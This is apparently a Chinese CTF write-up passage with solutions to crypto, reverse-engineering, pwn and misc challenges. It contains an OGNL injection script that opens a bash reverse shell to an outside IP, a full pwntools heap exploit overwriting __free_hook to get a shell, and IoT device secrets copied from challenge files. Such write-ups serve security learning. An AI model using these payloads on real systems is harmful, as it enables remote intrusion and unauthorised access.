    for p1, q1 in start:
        for s in range(2):
            for t in range(2):
                cp = p1 + s * (1 << i)
                cq = q1 + t * (1 << i)
                all.append((cp, cq))
    start = all
for p,q in all:
    phi = (p - 1) * (q - 1)
    e = 65537
    d = inverse(e, phi)
    m = pow(c, d, n)
    if b'flag' in long_to_bytes(m):
        print(long_to_bytes(m))
        break

Reverse

我的upx-d怎么坏了

od手脱,反编译找到迷宫,找到最短路径,

解出为RRRDRRURRRRRRDDDDRDDD

MD5后套上flag

image

babypython

149         910 LOAD_CONST             147 ('************************************')
            912 STORE_NAME              32 (flag)

152         914 LOAD_CONST             148 ('')
            916 STORE_NAME              33 (value)

153         918 LOAD_CONST             148 ('')
            920 STORE_NAME              34 (output)

154         922 LOAD_CONST               0 (0)
            924 STORE_NAME              30 (i)

156         926 NOP

157     >>  928 LOAD_NAME               32 (flag)
            930 LOAD_NAME               30 (i)
            932 BINARY_SUBSCR
            942 STORE_NAME              35 (temp)

158         944 PUSH_NULL
            946 LOAD_NAME               36 (chr)
            948 PUSH_NULL
            950 LOAD_NAME               37 (ord)
            952 LOAD_NAME               35 (temp)
            954 PRECALL                  1
            958 CALL                     1
            968 LOAD_CONST             150 (8)
            970 BINARY_OP               12 (^)
            974 PRECALL                  1
            978 CALL                     1
            988 STORE_NAME              35 (temp)

159         990 LOAD_NAME               33 (value)
            992 LOAD_NAME               35 (temp)
            994 BINARY_OP               13 (+=)
            998 STORE_NAME              33 (value)

160        1000 LOAD_NAME               30 (i)
           1002 LOAD_CONST             149 (1)
           1004 BINARY_OP               13 (+=)
           1008 STORE_NAME              30 (i)

161        1010 LOAD_NAME               30 (i)
           1012 PUSH_NULL
           1014 LOAD_NAME               38 (len)
           1016 LOAD_NAME               32 (flag)
           1018 PRECALL

找到
=1nb0A3b7AUQwB3b84mQ/E0MvJUb+EXbx5TQwF3bt52bAZncsd9c

字节反转,

c9dscnZAb25tb3FwQT5xbXE+bUJvM0E/Qm48b3BwQUA7b3A0bn1=

手动将数字和英文字母进行替换

cWdscnZAb25tbHFwQT5xbXE+bUJvM0E/Qm4=
再base64进行解码qglrv@onmlqpA>qmq>mBo3A?Bn

enc = "qglrv@onmlqpA>qmq>mBo3A?Bn"
for i in range(len(enc)):
    print(chr(ord(enc[i])-3^8),end="")

AliYunCTF partly WriteUp

整理 & 询问几个师傅后做的

WEB

通向shell之路

import requests as req
from urllib.parse import quote
import base64

url = "http://120.55.13.151:8080/app/user/%s"
headers = {
    "Accept": "application/json, text/plain, */*",
    "Referer": "http://120.55.13.151:8080/app/",
    "Connection": "close"}

payload = '(#r="a".getClass().forName("java.lang.Runtime")).(#m=#r.getDeclaredMethods().{^ #this.name.equals("getRuntime")}[0]).(#o=#m.invoke(null,null)).(#e=#r.getDeclaredMethods().{? #this.name.equals("exec")}.{? #this.getParameters()[0].getType().getName().equals("[Ljava.lang.String;")}.{? #this.getParameters().length == 1}[0]).(#e.invoke(#o,new String[]{"sh","-c","echo %s |base64 -d|bash"}))' % base64.b64encode(b"bash -i >& /dev/tcp/118.X.X.164/2333 0>&1")
payload = "../../action/%s" % quote(quote(payload))
resp = req.get(url % payload.replace("/","%252F"), headers=headers)

RECERSE

字节码跳动

Creating a Ghidra processor module in SLEIGH using V8 bytecode as an example – PT SWARM (ptsecurity.com)

V8字节码,main→aaa→ccc​,可以直接去找对应func​的字节码

#include <stdio.h>
#include <stdint.h>

uint8_t enc[] = {
    0x3e, 0xdd, 0x79, 0x25, 0xcd, 0x6e, 0x04, 0xab,
    0x44, 0xf2, 0x5b, 0xef, 0x57, 0xbc, 0x53, 0xbd,
    0x20, 0xb7, 0x4b, 0x8c, 0x11, 0xf8, 0x93, 0x09,
    0x0f, 0xdc, 0xdf, 0xdd, 0xad, 0x07, 0x09, 0x10,
    0x01, 0x00, 0xfe, 0x6a, 0x92, 0x30, 0x33, 0x32,
    0x34, 0xfb, 0xae
};

void decrypt(uint8_t *enc, uint8_t *flag, int len) {
    // Initialize variables
    uint8_t r0 = enc[18];
    uint8_t r1 = 159;

    // Decrypt byte sequence
    for (int i = len - 1; i >= 0; i--) {
        if (i > 0 && i < 19) {
            flag[i] = (enc[i] - enc[i - 1] - 51) % 256;
        } else if (i == 0) {
            flag[i] = (enc[i] - 170 - 51) % 256;
        } else {
            r1 ^= enc[i];
            flag[i] = (enc[i] - r1) % 256;
        }
    }
}

int main() {
    uint8_t flag[43] = {0};
    decrypt(enc, flag, 43);
    for (int i = 0; i < 43; i++) {
        printf("%c ", flag[i]);
    }
    printf("\n");
    return 0;
}

PWN

babyheap

rust pwn

有个后门

限制堆块大小0x200​,限制堆块数量不超过8,存在UAF漏洞

2.27版本下tcachebin attack​劫持free_hook​为system​,再通过free将'/bin/sh\x00'​作为rdi送入即可

# encoding = utf-8
from pwn import *
from pwnlib.rop import *
from pwnlib.context import *
from pwnlib.fmtstr import *
from pwnlib.util.packing import *
from pwnlib.gdb import *
from ctypes import *
import os
import sys
import time
import base64

# from ae64 import AE64
# from LibcSearcher import *

context.os = 'linux'
context.arch = 'amd64'
# context.arch = 'i386'
context.log_level = "debug"

name = './babyheap'

debug = 0
if debug:
    p = remote('47.98.229.103',1337)
else:
    p = process(name)

#libcso = '/lib/x86_64-linux-gnu/libc-2.31.so'
libcso = './libc-2.27.so'
libc = ELF(libcso)
#libc = elf.libc
elf = ELF(name)

'''
binary = './pwn'
ip = '0.0.0.0'
port = 8888
#libcelf = './libc.so.6'
libcelf = '/lib/x86_64-linux-gnu/libc-2.31.so'
#ldfile = './ld.so'
ldfile =  '/lib64/ld-linux-x86-64.so.2'

local = 1
armmips = 0
x64_32 = 1

if x64_32:
    context.arch = 'amd64'
else:
    context.arch = 'i386'

if armmips == 0:
    if local:
        if ldfile:
            p = process([ldfile, binary], env={"LD_PRELOAD": libcelf})
            libc = ELF(libcelf)
        elif libcelf:
            p = process([binary], env={"LD_PRELOAD": libcelf})
            libc = ELF(libcelf)
        else:
            p = process(binary)
    else:
        p = remote(ip, port)
else:
    if local:
        if x64_32:
            p = process(["qemu-arm", "-g", "1212", "-L", "/usr/arm-linux-gnueabi", binary])
        else:
            p = process(["qemu-aarch64", "-g", "1212", "-L", "/usr/aarch64-linux-gnu/", binary])
    else:
        p = remote(ip, port)

elf = ELF(binary)
'''

s       = lambda data               :p.send(data)
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(data)
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data,num           :u32(p.recvuntil(data)[-num:].ljust(4,b'\x00'))
uu64    = lambda data,num           :u64(p.recvuntil(data)[-num:].ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
l64     = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32     = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
context.terminal = ['gnome-terminal','-x','sh','-c']

add_idx = 1
delete_idx = 4
show_idx = 2
edit_idx = 3

def dbg():
   gdb.attach(proc.pidof(p)[0])
   pause()

bss = elf.bss()
li('bss = '+hex(bss))

def choice(cho):
    sla('>>> ',cho)

def add(size,content):
    choice(add_idx)
    sla('now the size: ',size)
    p.sendlineafter('next the content: ',content)

def delete(idx):
    choice(delete_idx)
    sla('house index: ',idx)

def show(idx):
    choice(show_idx)
    sla('house index: ',idx)

def edit(idx,content):
    choice(edit_idx)
    sla('house index: ',idx)
    p.sendlineafter(': ',content)

for i in range(8):
    add(0x1f0,'a'*0x1f0)

for i in range(8):
    delete(1953723762+7-i)

show(0)

libc_base=l64()-96-0x10-libc.sym['__malloc_hook']
li(hex(libc_base))

free_hook = libc_base + libc.sym['__free_hook']
sys = libc_base + libc.sym['system'] 
bin_sh = libc_base + next(libc.search(b'/bin/sh'))
ogg=[0x4f2a5,0x4f302,0x10a2fc]
og=libc_base+ogg[1]

pl=p64(free_hook)
pl+=pl.ljust(0x1f0,b'\x00')
edit(1,pl)

delete(7)
delete(6)

pl2=b'/bin/sh\x00\x00'
pl2+=pl2.ljust(0x1f0,b'\x00')
add(0x1f0,pl2)

pl3=p64(sys)
pl3+=pl3.ljust(0x1f0,b'\x00')
add(0x1f0,pl3)

delete(6)

itr()

#print('========================================================================================')
'''
def pwn():

if __name__ == '__main__':
    pwn()
'''

#print('========================================================================================')

'''
bss = elf.bss()

puts_got = elf.got['puts']
puts_plt = elf.plt['puts']

pop_rdi = libc_base + libc.search(asm('pop rdi;ret;')).__next__()

pop_rsi = libc_base + libc.search(asm('pop rsi;ret;')).__next__()

pop_rdx = libc_base + libc.search(asm('pop rdx;ret;')).__next__()

pop_rdx12 = libc_base + libc.search(asm('pop rdx;pop r12;ret;')).__next__()

leave_ret = libc_base + libc.search(asm('leave;ret;')).__next__()

sys = libc_base + libc.sym['system'] 
bin_sh = libc_base + next(libc.search(b'/bin/sh'))

open_addr = libc_base + libc.sym['open']
read_addr = libc_base + libc.sym['read']
puts_addr = libc_base + libc.sym['puts']

free_hook = libc_base + libc.sym['__free_hook']
malloc_hook = libc_base + libc.sym['__malloc_hook']

setcontext = libc_base + libc.sym['setcontext']
mprotect = libc_base + libc.sym['mprotect']

syscall = libc_base + libc.sym['syscall']

gadget = libc_base + libc.sym['svcudp_reply'] + 0x1a
li('gadget = '+hex(gadget))
mov    rbp,QWORD PTR [rdi+0x48]
mov    rax,QWORD PTR [rbp+0x18]
lea    r13,[rbp+0x10]
mov    DWORD PTR [rbp+0x10],0x0
mov    rdi,r13
call   QWORD PTR [rax+0x28]

'''

MISC

懂得都懂带带弟弟

https://github.com/nodejs/node/issues/18265

import('/flag');

消失的声波

image

有提到ALBB-iot2023.oss-hz-OpYdCuMtkQ8Yjhm2​这个OSS云存储

直接访问http://iot2023.oss-cn-hangzhou.aliyuncs.com/

image

但是可以wget进行请求

image

https://help.aliyun.com/document_detail/261162.html

https://blog.csdn.net/m0_47722349/article/details/124303495

查找一下相关资料发现,连接这个oss需要一些参数

image

image

在文件里寻找一下这些关键信息

image

lk = linkkit.LinkKit(
    host_name="cn-shanghai",
    product_key="a1eAwsBKddO",
    device_name="ncApIY2XV9NUIY4VpbGk",
    device_secret="04845e512ead208b2437d970a154d69e")

然后后面那部分topic​要订阅和发送消息,稍稍修改一下:

image

import sys
from linkkit import linkkit
import threading
import traceback
import inspect
import time
import logging

__log_format = '%(asctime)s-%(process)d-%(thread)d - %(name)s:%(module)s:%(funcName)s - %(levelname)s - %(message)s'
logging.basicConfig(format=__log_format)

lk = linkkit.LinkKit(
    host_name="cn-shanghai",
    product_key="a1eAwsBKddO",
    device_name="ncApIY2XV9NUIY4VpbGk",
    device_secret="04845e512ead208b2437d970a154d69e")

lk.enable_logger(logging.DEBUG)

def on_device_dynamic_register(rc, value, userdata):
    if rc == 0:
        print("dynamic register device success, value:" + value)
    else:
        print("dynamic register device fail, message:" + value)

def on_connect(session_flag, rc, userdata):
    print("on_connect:%d,rc:%d" % (session_flag, rc))
    pass

def on_disconnect(rc, userdata):
    print("on_disconnect:rc:%d,userdata:" % rc)

def on_topic_message(topic, payload, qos, userdata):
    print("on_topic_message:" + topic + " payload:" + str(payload) + " qos:" + str(qos))
    pass

def on_subscribe_topic(mid, granted_qos, userdata):
    print("on_subscribe_topic mid:%d, granted_qos:%s" %
          (mid, str(','.join('%s' % it for it in granted_qos))))
    pass

def on_unsubscribe_topic(mid, userdata):
    print("on_unsubscribe_topic mid:%d" % mid)
    pass

def on_publish_topic(mid, userdata):
    print("on_publish_topic mid:%d" % mid)

lk.on_device_dynamic_register = on_device_dynamic_register
lk.on_connect = on_connect
lk.on_disconnect = on_disconnect
lk.on_topic_message = on_topic_message
lk.on_subscribe_topic = on_subscribe_topic
lk.on_unsubscribe_topic = on_unsubscribe_topic
lk.on_publish_topic = on_publish_topic

lk.config_device_info("Eth|03ACDEFF0032|Eth|03ACDEFF0031")
lk.config_mqtt(port=1883, protocol="MQTTv311", transport="TCP",secure="TLS")
lk.connect_async()
lk.start_worker_loop()

lk.config_device_info("Eth|03ACDEFF0032|Eth|03ACDEFF0031")
lk.config_mqtt(port=1883, protocol="MQTTv311", transport="TCP",secure="TLS")
lk.connect_async()
lk.start_worker_loop()

while True:
    try:
        msg = input()
    except KeyboardInterrupt:
        sys.exit()
    else:
        if msg == "1":
            lk.disconnect()
        elif msg == "2":
            lk.connect_async()
        elif msg == "3":
            rc, mid = lk.subscribe_topic(lk.to_full_topic("user/get"))
            if rc == 0:
                print("subscribe topic success:%r, mid:%r" % (rc, mid))
            else:
                print("subscribe topic fail:%d" % rc)
        elif msg == "4":
            rc, mid = lk.unsubscribe_topic(lk.to_full_topic("user/get"))
            if rc == 0:
                print("unsubscribe topic success:%r, mid:%r" % (rc, mid))
            else:
                print("unsubscribe topic fail:%d" % rc)
        elif msg == "5":
            rc, mid = lk.publish_topic(lk.to_full_topic("user/update"), "{'id','flag'}")
            if rc == 0:
                print("publish topic success:%r, mid:%r" % (rc, mid))
            else:
                print("publish topic fail:%d" % rc)
        elif msg == "8":
            ret = lk.dump_user_topics()
            print("user topics:%s", str(ret))
        elif msg == "9":
            lk.destruct()
            print("destructed")
        else:
            sys.exit()

这个对python版本有限制,3.10及以上会报错。。。

而且怀疑阿里云这个iot平台有问题🤔发了好几次没通

7a8c22ad088b45a9e37aaf241ee147b

OOBdetection

需要构建的数据只需要第一阶段的内容就够了,只需要知道变量、数组长度就足够了

然后需要测量的是第二段和第三段的访问是否合法,做键值对去记录它在初始化数据时的内容 同时在这个阶段也预处理做一下长度的校验

关键是第三部分的运算求解赋值,把前面的所有的全都搞一个字典存起来,然后在最后一行的话一直替换替换到替换到不包含字母为止,如果它还是包含字母的话就是no,如果全部能替换到的话,就判断它是否溢出。

import binascii
import re
import socket
import subprocess
import os
import subprocess
from hashlib import sha256

def tostr(shizi,num_dict,n_dict,x):
    match = re.search(r'[a-z]', shizi)
    bz = 0
    while (match and bz < 10):
        bz += 1
        for i in num_dict:
            if i in shizi:
                shizi = shizi.replace(i, num_dict[i])
        for i in n_dict:
            if i in shizi:
                shizi = shizi.replace(i, n_dict[i])
        if 'x' in shizi and x != -123123:
            shizi = shizi.replace('x', str(x))
        match = re.search(r'[a-z]', shizi)
    if bz == 10:
        return 'unknown'
    else:
        return shizi
def panduan( qus):
    n_dict = {}
    max_dict={}
    num_dict={}
    double_dict=[0,0,0]
    x=-123123
    last=''
    for line in qus.splitlines():
        try:
            line=line.replace(' ', '')
            match = re.search(r'int\w\[(.*?)\]\[(.*?)\];', line)
            if match:
                tmp1=match.group(1)
                tmp2 = match.group(2)
                tmp1=tostr(tmp1,num_dict,n_dict,x)
                tmp2=tostr(tmp2,num_dict,n_dict,x)
                if tmp1=='unknown':
                    return 'unknown'
                else:
                    double_dict[1]=eval(tmp1)
                    double_dict[2]=eval(tmp2)
            match = re.search(r'\[(\d+)\]\[(\d+)\]=', line)
            if match:
                if int(match.group(1))<int(double_dict[1]) and int(match.group(2))<int(double_dict[2]):
                    return 'safe'
                else:
                    return 'oob'
            if 'int' in line and not re.search(r'\[(.*?)\]\[(.*?)\];', line):
                match = re.search(r'intx=(\d+);', line)
                if match:
                    x=int(match.group(1))
                # 读取n、n1...
                match=re.search(r'int(n\d*)=(\d+);',line)
                if match:

                   n_dict.update({match.group(1): match.group(2)})
                else:
                    #读取栈上限
                    match = re.search(r'int(\w)\[(n.*)\];', line)
                    if match:
                        max_dict.update({match.group(1): n_dict[match.group(2)]})
                    else:
                        match = re.search(r'int(\w)\[(\d+)\];', line)
                        if match:
                            max_dict.update({match.group(1): match.group(2)})
            else:
                match=re.search(r'(.*?)=(.*?);', line)
                if match:
                    last = line
                    num_dict.update({match.group(1): match.group(2)})
                    match=re.search(r'(\w)\[(\d+)\]=.*?;', line)
                    if match:
                        if int(match.group(2))>=int(max_dict[match.group(1)]):
                            return 'oob'
        except Exception as e:
            print(e)
            return 'oob'
    match = re.search(r'(\w)\[(.*?)\]=.*?;', last)
    if match:
        zimu=match.group(1)
        str1=match.group(2)
        str1=tostr(str1,num_dict,n_dict,x)
        # print(x)
        # print(str1)
        if str1=='unknown':
            return str1
        # print(str1)
        try:
            if eval(str1)>=int(max_dict[zimu]) or eval(str1)<0:
                return 'oob'
            else:
                return 'safe'
        except Exception as e:
            return 'oob'
    return 'unknown'
if __name__ == '__main__':
    # 执行 nc 命令并获取其输出内容
    remote_host = '47.98.209.191'
    remote_port = 1337
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    # 连接远程主机的指定端口
    sock.connect((remote_host, remote_port))
    # 接收远程主机发送的数据
    data1 = sock.recv(1024)
    data=data1.decode('utf-8')
    print(data)
    str1=data[13:27]
    str2=data[32:96]
    print(str1)
    print(str2)
    answer=''
    question=''
    count=0;
    data2 = sock.recv(1024)
    for i in range(256):
        for j in range(256):
            for k in range(256):
                a=i.to_bytes(1,byteorder='big')
                b=j.to_bytes(1,byteorder='big')
                c=k.to_bytes(1,byteorder='big')
                # s = os.urandom(10)
                s = a+b+c+bytes.fromhex(str1)
                digest = sha256(s).hexdigest()
                if digest == str2:
                    answer=s[:3].hex()
                    print('Answer is:',s[:3].hex())
                    break
            else:
                continue
            break
        else:
            continue
        break
    answer = answer+'\n'
    sock.send(answer.encode())
    while True:
        while True:
            chunk = sock.recv(1024)
            # print(chunk.decode('utf-8'))
            # print(1)
            if 'int' in chunk.decode('utf-8'):
                question=chunk.decode('utf-8')
            if 'safe/oob/' in chunk.decode('utf-8'):
                # print(2)
                break
            if 'rong' in chunk.decode('utf-8'):
                input()
        # print(3)
        count+=1;
        answer = panduan(question)+'\n'
        # print(answer.encode())
        print(count)
        sock.send(answer.encode())
        if count>=300:
            chunk = sock.recv(1024)
            print(chunk.decode('utf-8'))
            chunk = sock.recv(1024)
            print(chunk.decode('utf-8'))
            input()
    # print('complate!')
    #aliyunctf{0k_y0u_kn0w_h0w_to_analyse_Pr0gram}

image